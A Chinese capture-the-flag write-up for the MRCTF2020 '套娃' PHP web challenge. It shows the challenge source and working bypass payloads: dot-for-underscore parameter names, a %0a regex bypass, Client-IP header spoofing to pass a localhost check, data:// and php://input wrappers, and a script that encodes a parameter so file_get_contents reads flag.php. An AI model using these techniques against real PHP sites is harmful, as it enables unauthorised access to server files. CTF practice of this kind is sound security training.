BUU [MRCTF2020]套娃

news/2024/5/19 21:36:14 标签: 网络安全, Web安全, BUU, CTF, PHP, MRCTF

BUU_MRCTF2020_0">BUU [MRCTF2020]套娃

开题,啥也没有。

image-20231203023850768

查看网页源代码发现后端源代码:

image-20231203023858011

<?php
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

首先是关于$_SERVER['QUERY_STRING']取值,例如: http://localhost/aaa/?p=222 ,``$SERVER[‘QUERY_STRING’] = “p=222”,相当于获取了所有GET传参相关的URL段。题目要求不包含`。这里用PHP的字符串解析特性:

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  • 删除空白符
  • 将某些字符( [ 空格 + . )转换为下划线

正则匹配preg_match('/^23333$/', $_GET['b_u_p_t'])可以用%0a来绕过。

^ $界定了必须在同一行,否则匹配不到,直接利用%0a(换行符)进行绕过。

payload:

?b.u.p.t=23333%0a

image-20231203024657602

进入下一关secrettw.php,提示应该从本地local得到flag。

image-20231203024752367

源码中有jsfuck编码过的提示,控制台直接运行返回post me Merak

image-20231203024853991

随意POST一个Merak,返回源码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

首先是IP地址需要是127.0.0.1,这里需要用client-ip头绕过,XFF头不行。

image-20231203025311672

然后是满足条件file_get_contents($_GET['2333']) === 'todat is a happy day'

以下两种方式均可。

2333=data://text/plain,todat is a happy day

2333=php://input
POST:todat is a happy day

最后是反写change($v)函数,使得file_get_contents(change($_GET['file']))语句可以成功包含flag.php文件。

反写脚本:

<?php
function unchange($v){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

得到ZmpdYSZmXGI=

最终payload:

/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

flag在源码里。

image-20231203025712220


http://www.niftyadmin.cn/n/5439499.html

相关文章

操作系统—探究进程与线程的细节

文章目录 探究进程与线程的部分细节1.实验基本环境(1).基本环境 2.多线程程序(1).计算问题(2).附加自旋锁的计算问题(3).IO问题(4).改进访问冲突的IO问题 3.多进程程序(1).简单的计算问题(2).复杂的计算问题(3).一些小问题 总结参考资料 探究进程与线程的部分细节 1.实验基本环…

ArmSoM-Sige RK3588开发板产品简介

让我们在 5 分钟内了解 Sige7。 简介​ ArmSoM-Sige7采用Rockchip RK3588新一代旗舰级八核64位处理器&#xff0c;主频高达2.4GHz&#xff0c;6 TOPS算力NPU&#xff0c;最大可配32GB大内存。支持8K视频编解码&#xff0c;拥有丰富的接口&#xff0c;支持双2.5G网口、WiFi6 &…

【成像光谱遥感技术】ChatGPT应用指南

遥感技术主要通过卫星和飞机从远处观察和测量我们的环境&#xff0c;是理解和监测地球物理、化学和生物系统的基石。ChatGPT是由OpenAI开发的最先进的语言模型&#xff0c;在理解和生成人类语言方面表现出了非凡的能力。本文重点介绍ChatGPT在遥感中的应用&#xff0c;人工智能…

Windows系统更新错误:0x80070643

查了一下&#xff0c;发现了这样一个说明&#xff1a; Microsoft 更改了运行 Windows 恢复环境 (WinRE) 的电脑的更新方式。 WinRE 将使用每月累积更新进行更新。 此更改仅适用于从 Windows Update (WU) 和 Windows Server Update Services (WSUS) 获取更新的电脑。 此更改从 2…

docker入门(二)—— docker三大概念(镜像、容器、仓库)

docker 的三大必要概念 docker 的三大必要概念——镜像、容器、仓库 docker 架构图 镜像&#xff08;image&#xff09;&#xff1a;模版。&#xff08;web项目&#xff1a;1、环境 2、配置变量 3、上线项目 4、配置项目需要的静态文件&#xff09;打包成镜像 docker 镜像&a…

LeetCode 热题100 图论专题解析

LeetCode 热题100 图论专题解析 图论是计算机科学中非常重要的领域&#xff0c;广泛应用于各种算法和实际问题中。在 LeetCode 热题100 中&#xff0c;图论相关的题目主要涉及深度优先搜索&#xff08;DFS&#xff09;、广度优先搜索&#xff08;BFS&#xff09;以及拓扑排序等…

【SQL Server】实验二 基本查询

1 实验目的 &#xff08;1&#xff09; 掌握SQL的DDL使用方法。 &#xff08;2&#xff09; 掌握SQL的基本查询语句使用方法。 2 实验内容 2.1 掌握SQL的DDL使用方法 &#xff08;1&#xff09; 创建名为TPCH的数据库。 &#xff08;2&#xff09; 在TPCH…

【Stable Diffusion】专栏介绍和文章索引(持续更新中)

目录 1 背景2 思考3 文章索引&#xff08;持续更新中&#xff09;3.1 入门3.2 初级3.3 中级3.3 高级 1 背景 最近开始学习AIGC&#xff0c;对Stable Diffusion比较感兴趣&#xff0c;所以新建了这个专栏&#xff0c;来记录自己在使用和学习Stable Diffusion的一些方法、资料以…